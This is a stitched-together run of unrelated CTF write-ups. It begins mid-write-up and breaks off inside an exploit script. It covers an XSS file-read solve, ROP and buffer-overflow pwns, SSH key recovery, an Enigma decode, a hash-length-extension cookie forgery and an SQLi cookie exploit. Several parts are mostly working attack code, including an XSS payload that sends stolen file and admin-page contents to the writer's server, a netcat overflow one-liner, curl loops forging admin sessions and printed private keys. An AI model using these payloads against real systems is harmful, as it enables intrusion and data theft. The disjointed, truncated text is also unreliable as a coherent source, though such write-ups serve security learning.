```xhr.open("GET", "file:///opt/seo-kings/config.ru");```
Nothing worked, now it was confusing , I pinged the admin again, he suggested to use *synchronous* request instead. It was silly of me to make the request '*asynchronously*', well I don't know js much, and as the clock was ticking so didn't care to look for the function definition of `xhr.open()` .
Well to make it synchronous the third parameter, was to be made false. Obviously, it needed some time to read the file, so the synchronous request.
The whole script was generated by '**[Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop/related?utm_source=chrome-app-launcher-info-dialog)**', I just made the request and clicked on it's code option to get a xhr code ( sweet :p ). So, obviously I didn't know about the synchronous/ asynchronous thing here.
Anyway coming back to the point, I changed it to :
```xhr.open("GET", "file:///opt/seo-kings/config.ru", false);```
Well, now I was getting something. I decoded the url-encoded string to this :
```require 'sinatra'require "open-uri"require 'openssl'require 'uri'require 'sinatra/base'Dir.glob('./app/{controllers}/*.rb').each { | file | require file}map('/') { run MainController}map('/admin') { run AdminController}
```Well now, only 15 minutes were left, it was the first time I had seen **sinatra** web application, quicklygoogled the directory structure of it and got this [here](https://nickcharlton.net/posts/structuring-sinatra-applications.html).
```.├── Rakefile├── app│ ├── controllers│ │ ├── application_controller.rb│ │ └── example_controller.rb│ ├── helpers│ │ └── application_helper.rb│ └── views│ ├── example.erb│ ├── layout.erb│ └── not_found.erb├── config.ru└── spec ├── controllers │ ├── application_controller_spec.rb │ └── example_controller_spec.rb ├── helpers │ └── application_helper_spec.rb └── spec_helper.rb```
So, I had to get the file `'/opt/seo-kings/controllers/admin_controller.rb`.
I changed the script and got the `admin_controller.rb` :
```require './app/controllers/application_controller.rb'class AdminController < ApplicationController OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE SECRET_TOKEN = "d595462f496fd347796b60b605b72ff6"get '/'do if local ? token = params[: token]if (token == SECRET_TOKEN) @flag = Flagclass::FLAG erb: flag endelse "Please, use local ip"endend end ```Well so I had to add a `GET` parameter named `token` to the **admin** endpoint to get it ( Later the organizers had added a hint that was : **You missed some parameters** )
So, finally I changed the `payload.js` to this :```try{var data = null;
var xhr = new XMLHttpRequest();var url = "http://my_server_ip/?";xhr.addEventListener("readystatechange", function () { if (this.readyState === 4) {// new Image().src=url+JSON.stringify(this); new Image().src=url+"from_admin_payload="+String(this.responseText);// var responseHeaders = this.getAllResponseHeaders();// new Image().src=url+"rsp_headers="+String(this.getAllResponseHeaders()); }else{ new Image().src=url+"xhr_not_executed"; new Image().src=url+JSON.stringify(this.responseText);
}});var base = "file:///opt/seo-kings/"var filename = "app/controllers/admin_controller.rb"//xhr.open("GET", base+filename,false);xhr.open("GET", "/admin?token=d595462f496fd347796b60b605b72ff6",false);xhr.send(data);}catch(err){ new Image().src="http://my_server_ip/?err="+err.message;}```And lo behold here comes the flag :
```
<html>
<head> <title></title></head>
<body>VolgaCTF{hope_it_was_like_madness}</body>
</html> ```
Well, as mentioned earlier, I couldn't finish the question on time, the CTF had ended 5 minutes earlier .
But it was fun challenge and definitely got me to learn a lot many things about XSS.
Thanks. |
# journey (rev500)Original writeup [here](https://github.com/numinit/CTF/blob/master/SwampCTF-2018/rev/journey-500/journey.md).
It's an executable packed with UPX. Run: `upx -d journey`
You get an executable. It asks for a password. The password is the string that, when run against 0x328f3b67d25391, [Gronsfeld deciphers](http://rumkin.com/tools/cipher/gronsfeld.php) to "theresanotherstep"
```python#!/usr/bin/env python
target = 'theresanotherstep'x = 0x328F3B67D25391
pwd = ''for char in target: y = x % 10 x //= 10 z = chr(ord(char) + y) pwd += z
print('flag{%s}' % pwd)```
flag{wkitfudrpxkgsvviq} |
# Rescue Shell, 100p, exploit
In this task we were given a binary showing a password prompt. There was a simple buffer overflow, allowing us to ROP and first dump GOT `fread` address, thenoverwrite it with libc single gadget offset. |
https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html
Feedback/questions: https://twitter.com/David3141593/status/981593710642237440 |
# Task"Hey, mickey ! - Give me your IP adress ! - I’ll send you what you’re looking for. - Stay tuned on 5555 !"
# Step by step1. Use netcat and listen on 5555, we'll see incoming SSH connection each time we'll run > curl -d "IP=ext_ip_here" -X POST http://maninthemirror.challs.malice.fr2. Build [SSH](https://github.com/openssh/openssh-portable) with full debug options: * run "autoheader && authoconf && ./configure --with-pam"* add -DPACKET_DEBUG -DDEBUG_PK to CFLAGS in Makefile and run "make"3. Listen on 5555 - "/tmp/openssh-portable/sshd -p 5555 -D -ddd" we'll see failed auth attempt for user "mickey":`Failed publickey for mickey from 51.15.185.101 port 39892 ssh2: RSA 0f:2f:eb:55:58:fc:a2:a7:12:97:ac:ac:e9:4d:a8:d9`4. Also we'll get the public key:```buffer 0x7f1da0c3dee0 len = 2770000: 00 00 00 07 73 73 68 2d 72 73 61 00 00 00 81 01 ....ssh-rsa.....0016: 57 08 9e 22 1f 47 7b 64 7c ef f4 13 b5 bf 96 b8 W..".G{d|.......0032: b6 79 ce 16 19 c6 ba 08 7e e7 3a 6f 0f a9 5e 16 .y......~.:o..^.0048: f9 f1 d2 28 b4 a0 86 63 9a b8 0a d9 5b 40 ee 48 ...(...c....[@.H0064: 33 3d ce aa 57 ac f0 71 dd 01 c1 a1 ed b1 ff 55 3=..W..q.......U0080: 6d db 9c b2 ce 38 fd f4 4c 2d 99 47 9f 79 db 54 m....8..L-.G.y.T0096: f9 e4 49 a2 91 52 48 aa f9 51 a2 26 84 1c 71 f1 ..I..RH..Q.&..q.0112: 0a b1 90 29 11 1b 38 3c 49 16 a2 3a 72 aa 5f 29 ...)..8<I..:r._)0128: 02 0b cb 43 0e 36 53 d2 4e 7b 07 34 0f 4f ac f7 ...C.6S.N{.4.O..0144: 00 00 00 81 01 b5 fe 6c 8a 71 75 a2 42 15 d2 0c .......l.qu.B...0160: 41 54 2d 4e d0 6a 66 ec d3 e9 24 4f e2 cb 72 e5 AT-N.jf...$O..r.0176: fb 07 4f 2c 6d cb f3 a0 6f 9a e4 e6 33 88 ce 90 ..O,m...o...3...0192: 6d 36 50 8e dc 3f 9e 11 07 c5 bb 74 c0 00 09 7b m6P..?.....t...{0208: f8 62 e4 c5 80 31 14 cf 39 9a a0 e7 44 9a 4b 99 .b...1..9...D.K.0224: 4e 66 72 d2 1a 54 7e 0d 11 b3 ed bf f0 a0 5d d6 Nfr..T~.......].0240: 92 a7 6f d1 94 93 36 ae cb fa 8e 56 b7 37 1f 7e ..o...6....V.7.~0256: 22 5d 02 61 e8 42 50 b5 80 a8 48 f0 ca ac 3b 41 "].a.BP...H...;A0272: 37 43 74 90 1d 7Ct.. Public-Key: (1025 bit) Modulus: 01:b5:fe:6c:8a:71:75:a2:42:15:d2:0c:41:54:2d: 4e:d0:6a:66:ec:d3:e9:24:4f:e2:cb:72:e5:fb:07: 4f:2c:6d:cb:f3:a0:6f:9a:e4:e6:33:88:ce:90:6d: 36:50:8e:dc:3f:9e:11:07:c5:bb:74:c0:00:09:7b: f8:62:e4:c5:80:31:14:cf:39:9a:a0:e7:44:9a:4b: 99:4e:66:72:d2:1a:54:7e:0d:11:b3:ed:bf:f0:a0: 5d:d6:92:a7:6f:d1:94:93:36:ae:cb:fa:8e:56:b7: 37:1f:7e:22:5d:02:61:e8:42:50:b5:80:a8:48:f0: ca:ac:3b:41:37:43:74:90:1d Exponent: 01:57:08:9e:22:1f:47:7b:64:7c:ef:f4:13:b5:bf: 96:b8:b6:79:ce:16:19:c6:ba:08:7e:e7:3a:6f:0f: a9:5e:16:f9:f1:d2:28:b4:a0:86:63:9a:b8:0a:d9: 5b:40:ee:48:33:3d:ce:aa:57:ac:f0:71:dd:01:c1: a1:ed:b1:ff:55:6d:db:9c:b2:ce:38:fd:f4:4c:2d: 99:47:9f:79:db:54:f9:e4:49:a2:91:52:48:aa:f9: 51:a2:26:84:1c:71:f1:0a:b1:90:29:11:1b:38:3c: 49:16:a2:3a:72:aa:5f:29:02:0b:cb:43:0e:36:53: d2:4e:7b:07:34:0f:4f:ac:f7```5. Convert modulus from hex to integer:```$ python -c "print int('01b5fe6c8a7175a24215d20c41542d4ed06a66ecd3e9244fe2cb72e5fb074f2c6dcbf3a06f9ae4e63388ce906d36508edc3f9e1107c5bb74c000097bf862e4c5803114cf399aa0e7449a4b994e6672d21a547e0d11b3edbff0a05dd692a76fd1949336aecbfa8e56b7371f7e225d0261e84250b580a848f0caac3b41374374901d',16)"
307569736692727958406180015451285106098697672696771741897905376504571347084893287546186220054803521872356396322144508204308478305419348133297314269936980693294246718472184233637693362473375660086646125438780893693972689222896486530878224760475060635867282011015672562082944975858657356059769426828212013666333```6. ... and exponent ...```$ python -c "print int('0157089e221f477b647ceff413b5bf96b8b679ce1619c6ba087ee73a6f0fa95e16f9f1d228b4a086639ab80ad95b40ee48333dceaa57acf071dd01c1a1edb1ff556ddb9cb2ce38fdf44c2d99479f79db54f9e449a2915248aaf951a226841c71f10ab19029111b383c4916a23a72aa5f29020bcb430e3653d24e7b07340f4facf7',16)"
240886430024404135640467333611127514760949927514590637944267678894341944440168577922713169834240158297799927058946439888659186624932021080880071285473055719245355874319147612479546884440082642578796286122516314352185476050564419973211841627126490783685581931437179672786840348447575220837895652156680843537655```7. Build public key in PEM format with [RsaCtfTool ](https://github.com/Ganapati/RsaCtfTool):```$ ./RsaCtfTool.py --createpub --n 307569736692727958406180015451285106098697672696771741897905376504571347084893287546186220054803521872356396322144508204308478305419348133297314269936980693294246718472184233637693362473375660086646125438780893693972689222896486530878224760475060635867282011015672562082944975858657356059769426828212013666333 --e 240886430024404135640467333611127514760949927514590637944267678894341944440168577922713169834240158297799927058946439888659186624932021080880071285473055719245355874319147612479546884440082642578796286122516314352185476050564419973211841627126490783685581931437179672786840348447575220837895652156680843537655
-----BEGIN PUBLIC KEY-----MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQG1/myKcXWiQhXSDEFULU7Qambs0+kkT+LLcuX7B08sbcvzoG+a5OYziM6QbTZQjtw/nhEHxbt0wAAJe/hi5MWAMRTPOZqg50SaS5lOZnLSGlR+DRGz7b/woF3Wkqdv0ZSTNq7L+o5WtzcffiJdAmHoQlC1gKhI8MqsO0E3Q3SQHQKBgQFXCJ4iH0d7ZHzv9BO1v5a4tnnOFhnGugh+5zpvD6leFvnx0ii0oIZjmrgK2VtA7kgzPc6qV6zwcd0BwaHtsf9Vbducss44/fRMLZlHn3nbVPnkSaKRUkiq+VGiJoQccfEKsZApERs4PEkWojpyql8pAgvLQw42U9JOewc0D0+s9w==-----END PUBLIC KEY-----```8. Convert to PKCS8 for OpenSSH:```$ ssh-keygen -f pub.key -i -m PKCS8
ssh-rsa AAAAB3NzaC1yc2EAAACBAVcIniIfR3tkfO/0E7W/lri2ec4WGca6CH7nOm8PqV4W+fHSKLSghmOauArZW0DuSDM9zqpXrPBx3QHBoe2x/1Vt25yyzjj99EwtmUefedtU+eRJopFSSKr5UaImhBxx8QqxkCkRGzg8SRaiOnKqXykCC8tDDjZT0k57BzQPT6z3AAAAgQG1/myKcXWiQhXSDEFULU7Qambs0+kkT+LLcuX7B08sbcvzoG+a5OYziM6QbTZQjtw/nhEHxbt0wAAJe/hi5MWAMRTPOZqg50SaS5lOZnLSGlR+DRGz7b/woF3Wkqdv0ZSTNq7L+o5WtzcffiJdAmHoQlC1gKhI8MqsO0E3Q3SQHQ==```9. Add the public key and after restart OpenSSH we see succesful incoming connection:```$ ssh-keygen -f pub.key -i -m PKCS8 > authorized_keysAccepted publickey for mickey from 51.15.185.101 port 58048 ssh2: RSA 0f:2f:eb:55:58:fc:a2:a7:12:97:ac:ac:e9:4d:a8:d9```10. First halt of flag can be found at mickey home:```$ cat /home/mickey/flag_1.txtNDH{a_WInN3r_15_A_Dr3AMeR```11. Recover private key:```$ ./RsaCtfTool.py --publickey pub.key --private-----BEGIN RSA PRIVATE KEY-----MIICOgIBAAKBgQG1/myKcXWiQhXSDEFULU7Qambs0+kkT+LLcuX7B08sbcvzoG+a5OYziM6QbTZQjtw/nhEHxbt0wAAJe/hi5MWAMRTPOZqg50SaS5lOZnLSGlR+DRGz7b/woF3Wkqdv0ZSTNq7L+o5WtzcffiJdAmHoQlC1gKhI8MqsO0E3Q3SQHQKBgQFXCJ4iH0d7ZHzv9BO1v5a4tnnOFhnGugh+5zpvD6leFvnx0ii0oIZjmrgK2VtA7kgzPc6qV6zwcd0BwaHtsf9Vbducss44/fRMLZlHn3nbVPnkSaKRUkiq+VGiJoQccfEKsZApERs4PEkWojpyql8pAgvLQw42U9JOewc0D0+s9wIgGRbivJwJdSlS8x7NB4J4xbhJWKhljWHJMWnga0qoIMcCQQEZIJceQq+jIJJ8YsxEvjwWVOtkPt8yVmNt2uNN+OA8t/mj13mnCI0PXSlHhGOiGzHyF/wvwsbWNyZTvdxbX9ohAkEBjtiBZmqmDb0BUXcnBU9fmMeSARSzTvpcYlFXMy/ZQpFFOWchEOZtxjT6Nza8nkG7ePNX6MaGVE6YxoZdVRFOfQIgGRbivJwJdSlS8x7NB4J4xbhJWKhljWHJMWnga0qoIMcCIBkW4rycCXUpUvMezQeCeMW4SVioZY1hyTFp4GtKqCDHAkEAvxQ93dEo5hEGiTZ1IVXR+TmLVgyFOnIZnCWfXAhz6UQkk0MJ+yCUICzqQZcmpUmlNMumA36w75lZmcexL22zeA==-----END RSA PRIVATE KEY-----```12. Get the second part of the flag:```$ ssh -i priv.key [email protected] -p 2222Linux bf7749b143b5 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) x86_64
The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sat Mar 31 20:56:17 2018 from 192.168.32.3mickey@bf7749b143b5:~$ ls -latotal 28drwxr-xr-x 1 root mickey 4096 Mar 27 15:03 .drwxr-xr-x 1 root root 4096 Mar 27 15:03 ..-rw-r--r-- 1 root mickey 220 May 15 2017 .bash_logout-rw-r--r-- 1 root mickey 3526 May 15 2017 .bashrc-rw-r--r-- 1 root mickey 675 May 15 2017 .profiledrwxr-x--- 1 root mickey 4096 Mar 27 15:03 .ssh-rw-r--r-- 1 root mickey 21 Mar 27 07:32 flag_2.txtmickey@bf7749b143b5:~$ cat flag_2.txt _Wh0_NeV3R_gIve5_uP}mickey@bf7749b143b5:~$```
Flag is NDH{a_WInN3r_15_A_Dr3AMeR_Wh0_NeV3R_gIve5_uP} |
*Apprentice's Return* was the first pwn challenge of SwampCTF 2018. A singlebinary, `return`, is provided, an x86 32-bit unstripped ELF.
Opening the file in a dissasembler, we see three functions we're interested in:
* `main()`* `doBattle()`* `slayTheBeast()`
The first, `main()`, simply calls `doBattle()`.
The function `slayTheBeast()` outputs the flag, so this is our target function.
`doBattle()` prints out some story, then performs a `read()` of 50 bytes fromstdin to a buffer. Looking at the stack, we see the input buffer resides at`ebp-0x26`, meaning we can overflow it by 12 bytes. The return address resides8 bytes away from the end of the buffer, so it can be overwritten, as well asanother 4 bytes after.
Before the function returns, however, the return address is checked. If thevalue is greater than or equal to 0x8048595, the program exits, otherwise itoutputs a line and returns, giving the attacker control over `eip`.
The first choice here would be to overwrite `eip` with the address of the`slayTheBeast()` function, however that does not work as the address 0x80485dbis larger than the permitted value. If we try the largest permitted value, wesee it lands at the `nop` instruction at the very end of the `doBattle()`function.
This is where the additional extra four bytes we can overflow come into play.We have exactly enough room for another address. If we choose the maximum valuefor our first address, it would appear that you could loop back and return tothe second address provided. This is the basis of return-oriented programming(ROP) attacks. The challenge and binary name are clues to this. However, the`leave` instruction before the `ret` is a hinderance, as it messes up the stackframe, meaning our second address is not used.
Instead, we look for a different gadget. Using[ROPgadget](https://github.com/JonathanSalwan/ROPgadget), we can even specify arange of addresses, so that we don't get any gadgets with an address greaterthan the allowed maximum:
```shROPgadget --binary return --range 0-0x8048594```
This gives us 59 unique gadgets. Of these, the simple `ret` gadget will work.Our first return will jump from 0x8048596 to this address, 0x0804835a, poppingthe value from the stack. The next `ret` from the gadget will be executed,popping our second value from the stack. This has no restrictions, and so wecan use the address of the `slayTheBeast()` function. This function is returnedto, and we get our flag.
```sh#!/bin/sh
# arg1 = first return addr - ret gadget (0x0804835A)# arg2 = target addr - slayTheBeast() (0x80485db)
echo -n $(perl -e 'print "A" x 42, "\x5a\x83\x04\x08", "\xdb\x85\x04\x08"') \ | nc chal1.swampctf.com 1802 | grep flag```
This gives us the flag: `flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}` |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libpwnableharness32.so</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>rot13</span> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>sunshinectf</span></span><span>/</span>UAF<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>sunshinectf</span></span><span>/</span>UAF<span>/</span></div>
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## INTO THE NEXT DIMENSION
https://ctf.pragyan.org/challenges?category=forensics
## Discription
Alice is stuck in a two-dimensional world and somehow needs to escape into reality, our three-dimensional world. In order to do so, she must crack a code hidden inside a file(named 'way_out.obj'). The only clues the two-dimensional Gods have given her is this:
clue_begin
0 - P(100, -5, 321), R(0, 90, 0) => pctf{1 - P(-50, -33, 77), R(90, 0, 0)2 - P(123, -5, 68), R(60, 30, 0)3 - P(-89, 90, 0), R(34, 23, 32)4 - P(-39, 40, 40), R(44, 55, 66)P(111, 222, 333)5-10 - Ears, eyes, nose and mouth11 - Inside the key => 3}
You will never find a way out without colors.
clue_end
Help Alice get back to reality and hence find the flag. Good luck (Y).
[way_out.obj](https://ctf.pragyan.org/download?file_key=b93bf3fd8a7b9d7ca11d622b65e1be99555b65334f293ce462dafd32724e7812&team_key=5673f35469769414aeb9e22c9349f69db0112cddbb2bac9aeda9f95601f86c66)
## Solution
Directly opening the way_out.obj with cat or something else, I found that it is not the normal .obj file that i recognized
```EmissiveColorSColorSSAD�?DDSEmissiveFactorSNumberSSAmbientColorSColorSS```
Google those names in this file. It should be a .fbx format, which is a 3D asset exchange format of autodesk.
There is many 3D online viewer that you can render these 3D objects on the Internet, and I chose [Autodesk Viewer](https://viewer.autodesk.com/).
After Observed the file you can see many objects in there.
and also, you can find out some binary numbers in the objects,and these should be the flag.
Those P and R in the clue is the viewpoint of the camera to see the order of these numbers.
Wait... what is this
I found it is the icon of a 3D computer graphics program which is called 'blender', this might be a clue.
After downloading the software, it is much more easier to observe the number. You can set the location (P) and the rotation (R) of the camera, then set the active object as camera.
Decoding these binary, the green numbers seem to be the right one.
```pctf{3d>2df0l1f3}```
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|
[https://github.com/harrier-lcc/ctf-writeups/tree/master/2018/0ctf-quals/zer0SPN](https://github.com/harrier-lcc/ctf-writeups/tree/master/2018/0ctf-quals/zer0SPN)
[https://harrierlog.tumblr.com/post/172595637131/0ctftctf-quals-zer0spn](https://harrierlog.tumblr.com/post/172595637131/0ctftctf-quals-zer0spn)
|
# BombaThe challenge instructions come with everything we need to successfully decipher the encrypted message:
and
```UCF 07 ZERO 0800 = 50 = MHW FLC = LWB VJT LWD QYB JMS AMU RBO QXY SBZ EYN RLG RNK KVQ YJK EKR GMS CYB MH=```
The first part is not really of interest. ```50``` indicates the length of the message, ```MHW``` is the initial rotor position, ```FLC``` is the encrypted message key value and the first 3-character block of the last part, ``` LWB ```, is the Kenngruppen value which determines the rotor-, reflector-, ring- and plugboard-settings for the day. ```LWB``` is a Kenngruppen value of day 7. Everything behind it is the actual ciphertext. Now we can just look up day 7 in the table and initialize our Enigma with these settings.
Note: Don't forget to remove ```LWB``` from the ciphertext in order to decrypt the message correctly.
```from enigma.machine import EnigmaMachine
machine = EnigmaMachine.from_key_sheet( rotors = 'V I IV', reflector = 'B', ring_settings = [18, 11, 25], plugboard_settings = 'TS IK AV QP HW FM DX NG CY UE')
ciphertext = 'VJTLWDQYBJMSAMURBOQXYSBZEYNRLGRNKKVQYJKEKRGMSCYBMH' machine.set_display('MHW') # set initial rotor positionmsg_key = machine.process_text('FLC') # decrypt the message key valuemachine.set_display(msg_key)plaintext = machine.process_text(ciphertext)
print(plaintext)```
Output: DAMNXTHATXBOMBAXKRYPTOLOGICZNAXANDXMARIANXREJEWSKI
## sun{DAMNXTHATXBOMBAXKRYPTOLOGICZNAXANDXMARIANXREJEWSKI} |
# Wawacoin
Wawacoin was a 400-point Crypto/Web challenge at **Nuit Du Hack Quals 2018**. As is [not the first time](https://inshallhack.org/pizzagate_34C3/), we ended up flagging this challenge about **10 minutes after the end of the CTF**. Nevertheless, here it goes!
## Challenge description
```Wawacoin: 400 pts / Web-CryptoDescriptionSell your house, buy WawaCoin cryptocurrency cyber-blockchain, ???, profit.```
## Recon
The menu shows links to 3 different pages: **/**, **/login** and **/register**.
Let's check them all out!
### Page: /
**/** contains static content, with a graph and some text; it's unlikely to be very interesting for us. The source of the page contains links to two potentially interesting JavaScript files: **/static/js/wawacoin.js** and **/js/wawacoin-miner.js**. Unfortunately, the first is empty and the second doesn't exist.
### Page: /login
**/login** contains a login form to something called **WawaManager**. We throw some (*unsuccessful*) **random SQLi attempts** at it and try to login with different credentials, such as **admin:admin** or **root:toor**.In the process, we notice that we get two different errors: `Bad username` and `Bad password`. From that, we deduce that the form is vulnerable to **user enumeration** and subsequently, that a user with the login "**admin**" exists. Let's keep that in mind for later.
### Page: /register
**/register** informs us that it is no longer possible to register on the website, but invites us to try out the website using a "demo" account by clicking on a link to **/login?demo=1**.
### Page: /login?demo=1 -> /manager
**/login?demo=1** redirects us to **/manager**, which contains a seemingly totally legit form that invites us to provide our bank card information in order to verify our identity before entering the demo interface. Doubt regarding the legitimacy turn to dust as we fill out the required information, only for them to be **partially** sent (*half the information was missing*) as a **POST request** to **/stealmoney**, resulting in the page advising us that we "**need at least 1M bucks for this to work**". Our last shreds of hope turn to dust as we get the exact same response when trying the same process with our multimillionaire bank account.
A session cookie was set when accessing the page: **session=757365723d64656d6f|9183ff6055a46981f2f71cd36430ed3d9cbf6861**.After logging out of the demo account and in again, we observe that the cookie still contains the same value.
Digging a bit deeper, we observe that it is made of two distinct parts (*separated by a "|"*): the first is the hex value of the string **user=demo**, while the second seems to be a hash of some kind. Since it is 40 digits long, **we assume it is a SHA-1 hash**. However, the hash is not equal to **sha1("user=demo")**; modifying any part of the cookie seems to render it unusable, which leads us to believe that the hash is some kind of **MAC** for the first part of the cookie, and uses a secret key owned by the server.
## Exploitation
Though it took us quite a while to figure it out, a **hash length extension attack** is the only (*and obvious*) way to go here. We may assume that our aim is to get a hold of another, non-demo user account on the website, which means that knowing **admin** is a valid user will come in handy.
### Hash length extension attack
The whole explanation between [hash length extension attacks](vhttps://en.wikipedia.org/wiki/Length_extension_attack) is beyond the scope of this writeup. The idea behind it, though, is that assuming some characteristics of the hashing algorithm (*which SHA-1 and MD5 have*), and **knowing the length of the secret key used, a string and its MAC**, it is possible to extend said string and to **produce a valid MAC for the extended string**.
For a clearer explanation, see [skullsecurity.org](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) or [batard.info](https://journal.batard.info/post/2011/03/04/exploiting-sha-1-signed-messages).
With the end of the CTF approaching really fast, we stumble upon [hash-extender](https://github.com/iagox86/hash_extender) and get to work.
### Flag time
While we have a string and its MAC, **we still need to find out the length of the secret key** in order to launch our hash length extension attack.
To that end, we quickly craft the following dirty script:
```bash#!/bin/bash
append=$1
for i in $(seq 1 20)do echo $i tmp=$(./hash_extender -d="user=demo" --signature=9183ff6055a46981f2f71cd36430ed3d9cbf6861 --format=sha1 --append "$append" -l $i | grep -v Type | grep -v Secret | cut -d":" -f 2 | tr "\n" "|" | tr -d " " | sed 's/||//g') tmp2=$(echo $tmp | cut -d"|" -f 2) tmp3=$(echo $tmp | cut -d"|" -f 1) cookie=$(echo "$tmp2|$tmp3") curl 'http://wawacoin.challs.malice.fr/manager' -H "Cookie: session=$cookie"done```
Then, **we use the response code of the curl request as an oracle**: if the response code is 200, that means that the cookie is valid (*and that we found the right length for the secret key*); otherwise, we get redirected out of the manager and the status code is thus 302. The value of `$append` doesn't matter at this point.
After running the above script, we figure out that the secret key is **16 characters long**.All that's left is to find a proper payload now.
With our little CTF experience, we quickly try out the value **user=demo;user=admin** and obtain the flag (*albeit too late :(*):
```bash#!/bin/bash
append=";user=admin"i=16tmp=$(./hash_extender -d="user=demo" --signature=9183ff6055a46981f2f71cd36430ed3d9cbf6861 --format=sha1 --append "$append" -l $i | grep -v Type | grep -v Secret | cut -d":" -f 2 | tr "\n" "|" | tr -d " " | sed 's/||//g')tmp2=$(echo $tmp | cut -d"|" -f 2)tmp3=$(echo $tmp | cut -d"|" -f 1)cookie=$(echo "$tmp2|$tmp3")curl 'http://wawacoin.challs.malice.fr/manager' -H "Cookie: session=$cookie"```
And… **Flagged!**
**Flag: NDH{c7774051db4b880da67598770c955ff99363e76d}** |
# Improve the quality (Crypto)
In the task we get a [lengthly description](description.txt).Short version is:
1. We have ECC encryption.2. The curve is `y^2 = x^3 + 658974*x + B` with most significat decimal digit of `B` being `6`3. Prime field is based on `p = 962280654317`4. We get generator point `P = (518459267012, 339109212996)`5. We get a set of points `Qi` where `Qi = ki * P`6. The final secret value is a combination of `ki` values (this was very unclear, but in the end it was just concatenation of `ki` values treated as decimal strings and this converted to bytes).
We start-off by recovering the missing `B` parameter of the curve.This is trivial, since we've got points on the curve and we can just solve the equation `y^2 = x^3 + 658974*x + B`.We transform this to:
`B = (y^2 - x^3 - 658974*x) mod p`
And apply this to `P = (518459267012, 339109212996)` which gives us `618`, and it fits the hint from the description that `6` is the most significant digit of `B`.
```pythonprime = 962280654317x = 518459267012y = 339109212996A = 658974B = (y^2 - x^3 - A*x) %prime```
Now we need to recover the `ki` values.The prime field is very small, so we can efficiently calculate so-called `discrete logarithm` over the elliptic curve.Fortunately `sage` has all of this already implemented so we just need to do:
```pythonK.<z> = GF(prime)E = EllipticCurve(K,[A,B])P = E([x,y]) # generator point
solutions = []for px,py in data: Q = E([px,py]) solution = P.discrete_log(Q) print(px,py, solution) solutions.append(solution)print(solutions)```
And from this we recover the `ki` values.We combine them to get the secret `K`:
```pythonlarge_string = "".join([str(ki) for ki in solutions])print("".join(map(lambda x: chr(int(x)), chunk(large_string, 2))))```
This gives:
```CONVERT THIS TO LOWER CASE FIRST :THIS IMAGE CONTAINS THE FLAG, TRY TO GET ITTHE SUBMITTED FLAG MUST BE IN THIS FORMAT: FLAG-EC[WHAT YOU'LL FIND IN THE IMAGE]IMAGE URL:HTTP://CRYPTO.CTFSECURINETS.COM/1/STEG-PART.PNG```
Fortunately there is not much of a stegano there really.The picture is:
And can be easily read to get the final flag: `flag-ec[EC_St!e-g1(a)no]` |
# Cryptolol
## Description
A simple website display a profile page corresponding to the *USERNAME* cookie.This cookie contains the username encrypted with a secret key using AES, a dummy padding and the CBC encrypton mode (the vulnerability is not a padding oracle).
When an error is encountered during the decryption of our cookie, the decrypted value is displayed in a "debug mode" error message.Using this the challenger must discover the padding used and find a way to produce encrypted cookies containing arbitrary values.
Indeed, the *USERNAME* cookie can be used in order to exploit a SQLi protected by a *WAF*.
## Solution
In order to exploit this challenge, you have to :
* Retrieve the padding used (see *padding_discovery()* in *exploit.py*);* Use the error messages in order to encrypt arbitrary values;* Exploit the SQLi using encrypted payloads in the *USERNAME* cookie (beware of the WAF).
## exploit.py
```#!/usr/bin/python2# -*- coding:utf-8 -*-
import requestsimport base64import reimport binasciiimport threadingimport timeimport sys
from Queue import Queuefrom HTMLParser import HTMLParser
TARGET = None
COOKIE_NAME = 'USERNAME'
ERROR_REGEX = 'A problem with the user b(?:'|")(.+)(?:'|") has been encountered !'
BLOCK_SIZE = 16PADDING_CHAR = ' '
SQLI_PAYLOAD = 'Smelly tooth Cromwell\' AND (%s)#'MAX_CHAR_LENGTH = 2000
NB_THREADS = 4
RESULTS = dict()COUNT = 0
queue = Queue()
def explode_b64_ciphertext(b64_ciphertext): ''' Take a base64 encoded ciphertext and return the blocks to work with. ''' uncoded_ciphertext = base64.b64decode(b64_ciphertext)
iv = uncoded_ciphertext[:BLOCK_SIZE] ciphertexts = []
for i in range(len(uncoded_ciphertext)//BLOCK_SIZE)[1:]: offset = i*BLOCK_SIZE ciphertexts += [uncoded_ciphertext[offset:offset+BLOCK_SIZE]]
return (iv, ciphertexts)
def send_request(cookie_value): ''' Send a request and return the response. ''' global COUNT COUNT += 1
cookies = {COOKIE_NAME: cookie_value}
r = requests.get(TARGET, cookies=cookies)
return r.text
def test_cookie_value(cookie_value, tag): ''' Test a cookie value and return True if the tag TAG is in the response or False if not. If an error message is displayed, we return the username value displayed on screen. ''' response = send_request(cookie_value)
if tag in response: return True
m = re.search(ERROR_REGEX, response) if m != None: # Applying regex result = m.group(1) # Unescape HTML entities : '&' => '&' result = HTMLParser().unescape(result).encode('ascii') # Unescape the hex values : '\\xf1' => '\xf1' result = result.decode('string_escape') # Adding padding if the last bytes are escape characters result = add_padding(result) return result
return False
def get_default_cookie(): ''' Retrieve the default cookie in order to check the padding. ''' global COUNT COUNT += 1
r = requests.get(TARGET)
return r.cookies[COOKIE_NAME]
def padding_discovery(): ''' Using a trick in order to obtain the padding used. Modifying the last byte of the Cn-1 block, is a way to display the padding on the error message from the server.
This function is just here as a write-up, in order to explain how we discovered the padding used. ''' print '### Using a trick in order to obtain the padding used.'
(iv, ciphertexts) = explode_b64_ciphertext(get_default_cookie())
